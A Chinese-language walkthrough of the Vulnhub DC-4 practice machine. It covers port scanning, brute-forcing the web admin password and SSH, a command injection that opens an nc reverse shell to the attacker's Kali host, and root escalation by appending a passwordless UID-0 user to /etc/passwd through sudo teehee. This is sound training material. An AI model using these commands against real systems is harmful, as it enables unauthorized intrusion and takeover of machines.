Vulnhub靶机:DC-4
标签:弱口令、命令注入、反弹shell、linux提权
0x00 环境准备
下载地址:https://www.vulnhub.com/entry/dc-4,313/
flag数量:1
攻击机:kali
攻击机地址:192.168.1.31
靶机描述:
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
0x01 信息搜集
1.探测靶机地址
命令:arp-scan -l
![](https://img.haomeiwen.com/i9221879/d73ec0a88820635f.png)
靶机地址:192.168.1.32
2.探测靶机开放端口
命令:nmap -sV -p- 192.168.1.32
![](https://img.haomeiwen.com/i9221879/ea2adea4cbce35ef.png)
开放了22端口和80端口,先看一下80端口。
![](https://img.haomeiwen.com/i9221879/2740fb7d5c4132dd.png)
是个登录界面,不是CMS。
0x02 爆破弱口令
尝试一下万能密码,不行。那就爆破一下用户名admin
,碰碰运气。
![](https://img.haomeiwen.com/i9221879/93447a92a235e6a6.png)
爆破成功了,发现了admin账户的密码:admin / happy
0x03 反弹shell
使用刚才爆破出来的账号密码登录一下
!](https://img.haomeiwen.com/i9221879/5c9b142df29778cc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
点击command
发现可以执行三个命令
![](https://img.haomeiwen.com/i9221879/00438c1db5056417.png)
使用burp抓包看看,发现命令可以自定义
![](https://img.haomeiwen.com/i9221879/2044fe07eb0f8b66.png)
那就执行命令反弹一个shell到Kali上,首先在kali上监听一个端口,命令:nc -lnvp 4444
![](https://img.haomeiwen.com/i9221879/7df6223d78d7533d.png)
然后使用burp抓包执行反弹shell的命令:nc+-e+/bin/bash+192.168.1.31+4444
。使用加号代替空格。
![](https://img.haomeiwen.com/i9221879/7c1733c91827baad.png)
kali已经接收到shell了
![](https://img.haomeiwen.com/i9221879/58779c0b87e689fe.png)
为了操作更方便,在shell中输入命令:python -c "import pty;pty.spawn('/bin/bash')"
![](https://img.haomeiwen.com/i9221879/21fedb490567174f.png)
0x04 hydra爆破ssh登录密码
在靶机的/home/jim/backups
目录中发现了一个旧密码的备份文件
![](https://img.haomeiwen.com/i9221879/af943e06b0ea3258.png)
将密码复制下来存储到一个文件中,使用hydra进行爆破,因为是在jim的home中发现的,所以用户名设置为jim,命令:hydra -l jim -P dc4oldpass.txt ssh://192.168.1.32
![](https://img.haomeiwen.com/i9221879/0b92c672e53597c0.png)
爆破出来一个账户:jim / jibril04
0x05 横向移动
使用ssh登录命令登录刚才爆破出来的账号,命令:ssh jim@192.168.1.32
输入sudo -l
查看有没有可以提权的命令或文件
![](https://img.haomeiwen.com/i9221879/4502ff2f690c640e.png)
发现当前身份不能提权,那就看看还有没有其他信息。
在/home/jim
目录下发现一个邮件,看起来是root账号发过来的
![](https://img.haomeiwen.com/i9221879/eaccaaf76cfeca6f.png)
好像没什么用,那就看一下邮件文件夹下有没有什么东西。
![](https://img.haomeiwen.com/i9221879/c90e4b6e450f6d06.png)
这封邮件是charles发来的,在邮件的末尾还写了密码,那就登录charles账号看看。登录账号密码:charles / ^xHhA&hvim0y
,命令:su charles
![](https://img.haomeiwen.com/i9221879/92646b48c2ec00e8.png)
这次使用sudo -l
命令发现可以使用teehee
提权,因为它可以在没有root密码的情况下执行。
0x06 提权
通过向passwd文件中追加一个带有root权限的用户来提权。
命令:echo "dn::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
passwd文件中的格式:
[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
提权后,登录dn账号,发现已经拥有root权限了。
命令:su dn
,密码为空,直接回车(这里当时忘截图了)
在/root文件夹下发现了flag.txt文件
![](https://img.haomeiwen.com/i9221879/b5a78cc1b586182a.png)
以上就是DC-4靶机的walkthrough,由于菜的离谱,现在还不能完全自己来做完,还要看大佬的文章,如果有什么问题欢迎指出。参考链接我会在下面写上。
由于我不会每天都登录简书,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“简书”
参考链接:
1.VulnHub通关日记-DC_4-Walkthrough
2.VulnHub—DC-4
3.Linux下几种反弹Shell方法的总结与理解
`